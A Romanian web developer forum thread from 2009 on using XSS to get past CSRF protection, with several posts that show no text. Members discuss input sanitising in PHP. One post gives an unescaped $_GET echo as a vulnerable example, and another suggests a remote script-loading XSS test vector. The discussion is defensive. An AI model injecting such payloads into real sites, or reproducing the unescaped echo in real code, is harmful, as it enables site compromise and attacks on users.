Folosire XSS pentru a trece de protectia CSRF

Orice discutie care nu se isi are locul in alt forum. Zona off-topic.

Moderatori: cristi, icsfails, Moderatori

Poyo
Average Member
Mesaje: 97
Membru din: Dum Iun 08, 2008 11:19 am
Localitate: Rm. Valcea

Folosire XSS pentru a trece de protectia CSRF

Mesajde Poyo » Mie Oct 28, 2009 8:51 pm

Ultima oară modificat Sâm Oct 31, 2009 5:53 pm de către Poyo, modificat 1 dată în total.



Avatar utilizator
lucki91
Senior Member
Mesaje: 272
Membru din: Dum Dec 07, 2008 1:31 pm
Localitate: Cluj-Napoca
Contact:

Mesajde lucki91 » Mie Oct 28, 2009 9:27 pm

sa zicem ca un site, are o multime de probleme de securitate de genul:

echo 'Salut'.$_GET['ceva'].'';

in cazurile astea intr-adevar pagina dar si alte informatii sunt vulnerabile.

Cum ar putea cineva sa isi protejeze in 2 pasi site-ul, ca sa nu mai trebuasca sa editeze paginile?

Avatar utilizator
Birkoff
Senior Member
Mesaje: 6380
Membru din: Joi Mar 18, 2004 2:34 pm
Localitate: Bucuresti
Contact:

Mesajde Birkoff » Mie Oct 28, 2009 9:54 pm

tinand cont ca $_POST $_GET $_COOKIE $_REQUEST sunt niste variabile de tip array, poate sa le verifice si sa le modifice intr-o functie la inceputul paginii apoi in pagina sa le preia gata modificate...

exemplu

// Fix input variables
if (get_magic_quotes_gpc())
{
$_GET = array_map('stripslashes', $_GET);
$_POST = array_map('stripslashes', $_POST);
$_COOKIE = array_map('stripslashes', $_COOKIE);
}

pe aceeasi idee ca mai sus se pot scrie functii ca sa verifice valorile din fiecare get sau post si sa le modifice corespunzator
1) )
2)
3) (open source)
4) Vrei un magazin virtual la cheie, usor de folosit, cu api-uri incluse pentru maximizarea vanzarilor si multe alte facilitati? Da un semn si discutam.

Poyo
Average Member
Mesaje: 97
Membru din: Dum Iun 08, 2008 11:19 am
Localitate: Rm. Valcea

Mesajde Poyo » Mie Oct 28, 2009 11:15 pm


Pirahna
Senior Member
Mesaje: 5985
Membru din: Dum Aug 22, 2004 2:04 am
Localitate: la birou
Contact:

Mesajde Pirahna » Joi Oct 29, 2009 9:48 am

|

Avatar utilizator
Birkoff
Senior Member
Mesaje: 6380
Membru din: Joi Mar 18, 2004 2:34 pm
Localitate: Bucuresti
Contact:

Mesajde Birkoff » Joi Oct 29, 2009 10:10 am

1) )
2)
3) (open source)
4) Vrei un magazin virtual la cheie, usor de folosit, cu api-uri incluse pentru maximizarea vanzarilor si multe alte facilitati? Da un semn si discutam.

Avatar utilizator
vectorialpx
Senior Member
Mesaje: 4832
Membru din: Mar Mar 01, 2005 9:48 am
Localitate: Bucuresti
Contact:

Mesajde vectorialpx » Joi Oct 29, 2009 10:11 am


Avatar utilizator
Birkoff
Senior Member
Mesaje: 6380
Membru din: Joi Mar 18, 2004 2:34 pm
Localitate: Bucuresti
Contact:

Mesajde Birkoff » Joi Oct 29, 2009 10:52 am

1) )
2)
3) (open source)
4) Vrei un magazin virtual la cheie, usor de folosit, cu api-uri incluse pentru maximizarea vanzarilor si multe alte facilitati? Da un semn si discutam.

Avatar utilizator
kleampa
Senior Member
Mesaje: 2774
Membru din: Dum Iul 10, 2005 2:12 pm
Localitate: Bucuresti
Contact:

Mesajde kleampa » Joi Oct 29, 2009 1:16 pm


Avatar utilizator
vectorialpx
Senior Member
Mesaje: 4832
Membru din: Mar Mar 01, 2005 9:48 am
Localitate: Bucuresti
Contact:

Mesajde vectorialpx » Joi Oct 29, 2009 2:38 pm


Poyo
Average Member
Mesaje: 97
Membru din: Dum Iun 08, 2008 11:19 am
Localitate: Rm. Valcea

Mesajde Poyo » Joi Oct 29, 2009 2:45 pm


Avatar utilizator
szerky
Average Member
Mesaje: 130
Membru din: Joi Iul 10, 2008 4:06 am

Mesajde szerky » Joi Oct 29, 2009 4:41 pm

interesant articolul tau;

sql inj.
personal fac cam toate interogarile cu valori intregi. exceptie un search ( sau de genul ).
de (int)/intval() nu trece nimic.

csrf, fol. niste campuri hidden, cu valori pe care le stiu doar eu :-).

xss, atat zf cat si ci au methode proprii de filtrare. in rest fol. htmlentities(). n-am incercat sa dau bypass la htmlentities(), nici nu am idee cat la % din vectori filtreaza insa ... daca a testat cineva ar fi util sa stim si noi.

piranha: inseamna ca-s deja vulnerabile la XSS.

incearca sa introduci : <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

Pirahna
Senior Member
Mesaje: 5985
Membru din: Dum Aug 22, 2004 2:04 am
Localitate: la birou
Contact:

Mesajde Pirahna » Joi Oct 29, 2009 5:50 pm

|

Avatar utilizator
szerky
Average Member
Mesaje: 130
Membru din: Joi Iul 10, 2008 4:06 am

Mesajde szerky » Joi Oct 29, 2009 7:37 pm


Pirahna
Senior Member
Mesaje: 5985
Membru din: Dum Aug 22, 2004 2:04 am
Localitate: la birou
Contact:

Mesajde Pirahna » Joi Oct 29, 2009 7:55 pm

|


Înapoi la “Discuţii generale”

Cine este conectat

Utilizatori ce ce navighează pe acest forum: Niciun utilizator înregistrat și 4 vizitatori